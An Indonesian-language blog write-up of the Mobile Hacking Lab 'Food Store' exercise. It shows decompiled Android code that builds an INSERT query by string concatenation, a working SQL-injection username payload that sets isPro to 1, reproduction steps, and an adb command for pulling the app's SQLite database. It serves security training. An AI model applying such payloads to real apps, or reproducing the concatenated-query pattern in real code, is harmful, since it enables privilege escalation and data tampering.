Mobile Hacking Lab – Food Store: Local SQL Injection

Avatar photo

Lab Food Store mengandung kerentanan SQL Injection pada fungsi pendaftaran (addUser) yang menulis ke SQLite lokal. Aplikasi membentuk INSERT SQL dengan string concatenation tanpa binding membuka peluang untuk menyisipkan value isPro = 1 lewat field username. Pada writeup ini saya jelaskan analisis teknis, payload yang berhasil, langkah reproducible, metode verifikasi menggunakan adb exec-out + SQLite Viewer, dan bukti hasil eksploitasi.
Analisis ringkas kode (hasil decompile) :
// potongan relevan dari DBHelper.addUser (decompiled)
byte[] bytes = user.getPassword().getBytes(Charsets.UTF_8);
String encodedPassword = Base64.encodeToString(bytes, 0);
String Username = user.getUsername();
byte[] bytes2 = user.getAddress().getBytes(Charsets.UTF_8);
String encodedAddress = Base64.encodeToString(bytes2, 0);
String sql = "INSERT INTO users (username, password, address, isPro) VALUES ('" + Username
    + "', '" + encodedPassword + "', '" + encodedAddress + "', 0)";
db.execSQL(sql);

Masalah utama: Username dimasukkan tanpa parameter binding -> sumber klasik SQLi.

Proof-of-Concept (PoC)

Payload yang bekerja (paste ke field Username)

van', 'cGFzczEyMw==', 'YWJj', 1); /*

  • van — username yang akan dibuat
  • cGFzczEyMw== — Base64 dari pass123 (password untuk login)
  • YWJj — Base64 dari abc (address dummy)
  • 1 — set isPro = 1
  • ); /* — menutup VALUES(...) dan membuka blok komentar sehingga sisa query yang otomatis ditambahkan DBHelper menjadi komentar

Langkah reproduksi

  1. install APK Food Store.
  2. Buka Sign Up, paste payload di atas ke Username. Isi Password dan Address sembarang untuk lolos validasi.
  3. Tekan Sign Up → seharusnya muncul “User Registered Successfully”.
  4. Login dengan van / pass123 → aplikasi menampilkan Pro User (contoh: Credits: 10000).

Verifikasi sisi DB (forensic proof)

Langkah yang saya gunakan untuk bukti database (tanpa scripting tambahan):

  1. Tarik file DB dari device (jalankan di PC):
adb exec-out run-as com.mobilehackinglab.foodstore cat /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db > userdatabase.db
  1. Buka https://sqliteviewer.app/ → upload userdatabase.db.
  2. Periksa tabel users → Anda akan melihat record seperti:
    id | username | password      | address | isPro
    4  | van      | cGFzczEyMw==  | YWJj    | 1

  3. Decode Base64 untuk password: cGFzczEyMw==pass123.
Kesimpulan

Kasus Food Store menegaskan: pola coding sederhana (string concatenation -> execSQL) dapat berujung pada eskalasi hak akses lokal. Perbaikan pada level kode mudah namun konsekuensi bisnis jika terjadi pada produk nyata sangat besar.

Artifacts & commands

  • Payload (Username): van', 'cGFzczEyMw==', 'YWJj', 1); /*
  • Pull DB: adb exec-out run-as com.mobilehackinglab.foodstore cat /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db > userdatabase.db
Total
0
Shares
Leave a Reply

Your email address will not be published. Required fields are marked *

Previous Post

Subdomain Takeover at Scale: Ancaman Sistemik pada Ekosistem SaaS

Related Posts